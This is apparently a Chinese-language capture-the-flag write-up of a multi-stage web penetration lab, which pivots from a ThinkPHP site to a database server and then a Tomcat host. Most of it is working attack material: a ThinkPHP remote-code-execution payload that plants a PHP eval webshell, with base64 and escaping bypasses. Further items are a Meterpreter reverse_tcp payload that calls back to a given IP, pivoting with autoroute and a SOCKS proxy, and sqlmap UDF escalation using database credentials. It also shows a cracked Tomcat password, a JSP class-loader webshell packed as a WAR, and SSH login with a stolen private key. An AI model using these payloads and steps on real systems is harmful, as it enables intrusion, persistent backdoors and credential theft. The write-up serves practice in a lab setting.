Tim大人的Web渗透 WriteUps
3
门户网站
访问,发现 Nothing
image-20240325173023861
尝试扫目录得
image-20240325173728722
访问得到新目录
image-20240325173750029
进入这个目录继续扫
image-20240325174116781
Git泄露
可以使用 GitHack 直接下载
image-20240325175850976
可以发现是 脆弱的Thinkphp,查看拿到的源码,在CHANGELOG.md发现版本
image-20240325215533982
复现漏洞
1 2 3 4 5
| /[working]dev_dir/public/th1nk.php?s=captcha
POST
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php @eval($_REQUEST['shell']);?>" > shell.php
HTTP
|
hackbar 发包,但是蚁剑连接失败
尝试写入 txt 并查看
image-20240325222230164
可以看到 $_REQUEST
被过滤,尝试绕过 echo 对单引号、双引号和反引号的输出不同
1 2 3 4 5 6 7 8 9 10 11
| # $_REQUEST echo '<?php @eval($_REQUEST["shell"]);?>' > shell.php
# base64 # <?php @eval($_REQUEST['shell']);?>
echo "PD9waHAgQGV2YWwoJF9SRVFVRVNUWydzaGVsbCddKTs/Pg==" | base64 -d > shell.php
# $`_`_REQUEST
echo "<?php @eval($`_`_REQUEST['shell']);?>" > shell.php
SHELL
|
成功连接
image-20240325223141085
访问根目录得到
f1ag
1
| CNSS{y0u_sh0u1d_kn0w_th1nkphp_suck5}
F1AG
|
反向代理
生成后门,再利用蚁剑上传即可
1
| msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=111.229.23.244 LPORT=9999 -f elf > shell.elf
SHELL
|
image-20240325231947768
vps 启动 msf ,监听上面的端口
1 2 3 4 5
| use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 9999 exploit
SHELL
|
image-20240326000610375
打开蚁剑的终端
1 2
| chmod 777 shell.elf ./shell.elf
SHELL
|
image-20240326000642097
可以看到 msf 已经连上了
image-20240326000755040
门户网站数据库服务器
信息收集
从上面下载的源码可以得到数据库的相关参数
image-20240325224113132
看一下内网信息
1
| run get_local_subnets
SHELL
|
image-20240326000927232
MSF的跳板功能,是MSF框架中自带的一个路由转发功能,其实现过程就是MSF框架在已经获取的meterpreter shell的基础上添加一条去往“内网”的路由,直接使用msf去访问原本不能直接访问的内网资源,只要路由可达了那么我们使用msf的强大功能,为所欲为了。
1 2
| run autoroute -s 10.88.12.0/24 # 添加路由 run autoroute -p # 查看存在路由
SHELL
|
image-20240326001845321
但是以上路由仅在当前 msf 会话可访问,所以为了方便我们外部访问,开启代理
1 2 3 4 5
| background # 把 sessions 放到后台 $ sessions id 可以切回来 use auxiliary/server/socks_proxy set srvhost 0.0.0.0 set srvport 23333 exploit
SHELL
|
image-20240326002553591
配置好 proxychains
即可
1
| sudo vim /etc/proxychains4.conf
SHELL
|
image-20240326003308594
Windows 用的是 SocksCap
image-20240326003714275
Attack!!
上面已经拿到了数据库的信息
直接启动 sqlmap 进行 UDF提权
1
| proxychains4 sqlmap -d mysql://cnss:2dbdffb833bd44418825ef5d4f12183b@10.88.12.34:3306/mysql --os-shell
SHELL
|
貌似选哪个都行
image-20240326005235534
根目录得到flag
image-20240326005301898
f2ag
1
| CNSS{w1th_Us3r_D3f1n3d_Funct10n_w3_c4n_get_sySt3m_5he11!}
F2AG
|
数据库信息
直接使用 kali 自带 mysql 连接数据库,并输入密码
1
| proxychains4 mysql -h 10.88.12.34 -P 3306 -u cnss -p
SHELL
|
image-20240326010159233
查询可得 ip 与用户信息
1 2 3 4
| show databases; use cnss; show tables; select * from tomcat_info;
MYSQL
|
image-20240326010418552
tim在526的服务器
猜测端口8080
image-20240326011204278
访问得(Edge打不开,奇怪捏
image-20240326011242195
CVE-2020-1938 AJP 文件包含漏洞
需要登录,前面拿到的 md5 密码可以在 MD5 在線免費解密 MD5、SHA1、MySQL、NTLM、SHA256、SHA512、Wordpress、Bcrypt 的雜湊 (hashes.com) 爆出
得到
1
| 32cc5886dc1fa8c106a02056292c4654:g00dPa$$w0rD
PASS
|
点击 ManagerApp
登录即可
此处存在文件上传漏洞
image-20240326014441344
制作 war 包上传即可
jsp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } %> <% String cls = request.getParameter("passwd"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %>
JSP
|
1
| jar cvf hack.war hack.jsp
SHELL
|
image-20240326131514119
蚁剑左上角设置代理并连接
image-20240326132019796
根目录获得flag
f2ag
1
| CNSS{S0rRy_My_P4s5w0rD_L3ak3d_QwQ}
FLAG
|
正向代理
生成后门
1
| msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=7777 -f elf > shell2.elf
SHELL
|
image-20240326222611734
进入 /usr/local/tomcat/webapps
进行上传
1 2 3 4 5 6
| background use exploit/multi/handler set payload linux/x64/meterpreter/bind_tcp set rhost 10.88.12.173 set lport 7777 exploit
SHELL
|
image-20240326222706883
打开蚁剑终端
1 2
| chmod 777 shell2.elf ./shell2.elf
SHELL
|
image-20240326222950342
返回 msf,可以看到已经连接上了
image-20240326223022356
526 机密服务器
信息收集
获得网络信息
1
| run get_local_subnets
SHELL
|
image-20240326223701648
添加新的路由
1
| run autoroute -s 172.52.1.0/24
SHELL
|
image-20240326223753147
从上面拿到的 shell 里,查看常用目录
在 /home/cnss
里拿到 ssh 的 私钥 和 .bash_history
登录得 flag
1
| proxychains4 ssh -i Desktop/id_cnss cnss@172.52.1.231
SHELL
|
image-20240326224034563
image-20240326224244646
f3ag
1
| CNSS{H0w_d1d_y0u_g3t_h3r3!}
FLAG
|